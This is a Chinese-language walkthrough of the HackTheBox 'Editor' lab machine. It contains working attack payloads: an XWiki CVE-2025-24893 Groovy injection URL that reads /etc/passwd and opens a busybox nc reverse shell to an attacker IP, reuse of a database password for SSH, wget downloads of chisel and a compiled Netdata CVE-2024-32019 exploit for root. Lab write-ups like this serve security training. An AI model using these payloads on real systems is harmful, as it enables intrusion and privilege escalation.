本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
Editor
靶场地址:
https://app.hackthebox.com/machines/Editor
靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。
二、思路总结
突破边界(获取用户旗帜):
wiki 子域名远程代码执行漏洞 –> xwiki 用户权限 –> xwiki 数据库密码复用 –> Oliver 用户权限 –> 用户旗帜
权限提升(获取管理员旗帜):
suid 权限检索 –> chesel 19999 端口转发 –> 确定应用版本,Netdata 本地提权漏洞 –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
使用 nmap 对靶机进行端口扫描。
TCP 端口扫描:
1 2 3 4 5 6
| sudo nmap -p- 10.129.231.23 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy
|
UDP 端口扫描:
1 2 3
| sudo nmap -p- -sU 10.129.231.23 --min-rate=2000 --open
All 65535 scanned ports on 10.129.254.25 are in ignored states.
|
使用 nmap 对已开放端口的服务进行信息收集。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| sudo nmap -p22,80,8080 -sCV 10.129.231.23
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://editor.htb/ 8080/tcp open http Jetty 10.0.20 | http-cookie-flags: | /: | JSESSIONID: |_ httponly flag not set | http-webdav-scan: | Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK | Server Type: Jetty(10.0.20) |_ WebDAV type: Unknown |_http-open-proxy: Proxy might be redirecting requests | http-robots.txt: 50 disallowed entries (15 shown) | /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ | /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ | /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ | /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ | /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ |_/xwiki/bin/undelete/ | http-methods: |_ Potentially risky methods: PROPFIND LOCK UNLOCK | http-title: XWiki - Main - Intro |_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/ |_http-server-header: Jetty(10.0.20) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务,其中 HTTP 8080 端口存在 robots.txt 文件。
3.2 渗透测试突破边界(获取用户旗帜)
3.2.1 XWiki 远程代码执行漏洞(CVE-2025-24893)
根据 nmap 扫描结果将靶机域名添加至本地 hosts 文件。
1
| echo "10.129.231.23\teditor.htb" | sudo tee -a /etc/hosts
|
访问域名,点击页面资源会跳转至 wiki 子域系统,将其添加至本地域名解析。


经测试子域 wiki.editor 与靶机 8080 端口为同一应用,nmap 扫描过程得知 HTTP 8080 端口存在 robots.txt 文件,根据robots.txt文件内容尝试访问/xwiki/bin/admin 页面,会跳转至登录页面(泄露了应用版本信息)。


根据应用版本信息检索已知漏洞,发现其存在远程代码执行漏洞(CVE-2025-24893),注意:互联网部分 poc 可能不适用,需要不断找到可执行利用的 poc。
参考链接:
1 2
| https://www.offsec.com/blog/cve-2025-24893/ https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py
|
这里不使用脚本执行漏洞利用,阅读脚本 payload 内容,直接在浏览器访问 payload 即可进行任意命令执行。

1
| http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
|

将 payload 替换为反弹 shell,由于靶机存在 busybox(which busybox),可通过该程序执行反弹 shell,成功获取 xwiki 用户权限 shell。
1 2 3 4 5
| nc -lvnp 1234
http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async=false%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22busybox%20nc%2010.10.16.12%201234%20-e%20/bin/bash%22.execute().text)%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D
|


升级为交互式 shell。
1 2 3 4 5 6 7
| bash python3 -c 'import pty; pty.spawn("/bin/bash")' ctrl + Z stty raw -echo;fg export SHELL=/bin/bash export TERM=screen stty rows 33 columns 157
|

3.2.2 XWiki 数据库密码复用获取 oliver 用户权限
查看系统网络连接发现靶机本地存在 3306 端口,搜索引擎检索 xwiki 数据库配置信息,得知其可能存储在/etc/xwiki/hibernate.cfg.xml 或 xwiki 安装根目录的 hibernate.cfg.xml 文件,最终在/etc/xwiki/hibernate.cfg.xml 发现数据库配置信息。

1
| cat /etc/xwiki/hibernate.cfg.xml
|

这里非常恶心,被卡了好几个小时。当得到一个密码时,我们首先想到的是密码复用,然而直接使用 su 切换到 Oliver 用户,系统会提示密码错误,万万没想到只能通过 ssh 远程连接才能登录!!!!!以后还是需要注意多种方法尝试,不能单一的操作。
ssh 连接(密码复用)成功获取 Oliver 用户权限。
1
| ssh oliver@10.129.231.23
|

3.2.3 用户旗帜获取

3.3 提权获取系统最高权限(获取管理员旗帜)
3.3.1 Netdata 本地提权漏洞(CVE-2024-32019)
查看系统 suid 程序时,发现 opt 目录多个程序存在 suid 权限,且统一指向了/opt/netdata 目录。
1
| find / -perm -u=s -type f 2>/dev/null
|

由于并不清楚该目录运行了什么应用,检索目录过程中,在/opt/netdata/etc/netdata/netdata.conf 文件注释内容发现了程序端口信息。

查看本地网络连接 19999 端口也确实存在,使用 chisel 将 19999 端口转发至 kali 本地。
1 2 3 4 5 6 7
| chisel-common-binaries chisel server -p 9090 -reverse
wget http://10.10.16.12/chisel_1.10.1_linux_386 && chmod 777 chisel_1.10.1_linux_386 ./chisel_1.10.1_linux_386 client 10.10.16.12:9090 R:19999:127.0.0.1:19999
|


访问 kali 本地 19999 端口,会自动跳转至系统监控页面,点击页面感叹号可得到应用版本信息。


检索程序该版本漏洞,得知存在本地提权漏洞(CVE-2024-32019)
参考链接:
1 2
| https://securityvulnerability.io/vulnerability/CVE-2024-32019 https://github.com/AzureADTrent/CVE-2024-32019-POC
|
下载 github 对应 exp,在 kali 将其编译为可执行程序,然后上传靶机并对程序所在目录添加环境变量,执行即可获取系统 root 用户权限。

1 2 3 4 5
| git clone https://github.com/AzureADTrent/CVE-2024-32019-POC.git cd CVE-2024-32019-POC gcc poc.c -o nvme goshs -p 80
|

1 2 3
| cd /tmp wget http://10.10.16.12/nvme && chmod 777 nvme && export PATH=/tmp:$PATH && /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
|

3.3.2 管理员旗帜获取

Thanks
🎓 新手福利|Hack The Box 学院推荐
🧑💻 如果您是初学者,强烈推荐前往 HTB Academy 学习入门课程!
📚 HTB Academy 提供互动式教学,从网络基础到攻防实战,帮助您系统成长、逐步进阶。
📌 建议优先完成模块:「Introduction to Academy」
✅ 掌握核心概念,🔓 解锁更多高阶内容与实战功能!
📝 首次访问需注册账号,支持邮箱注册或 GitHub / Google 快速登录。
🚀 点击下方专属邀请链接 🔗,与我一起踏上网络安全学习之旅 👉:
https://referral.hackthebox.com/mzCXyui


如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨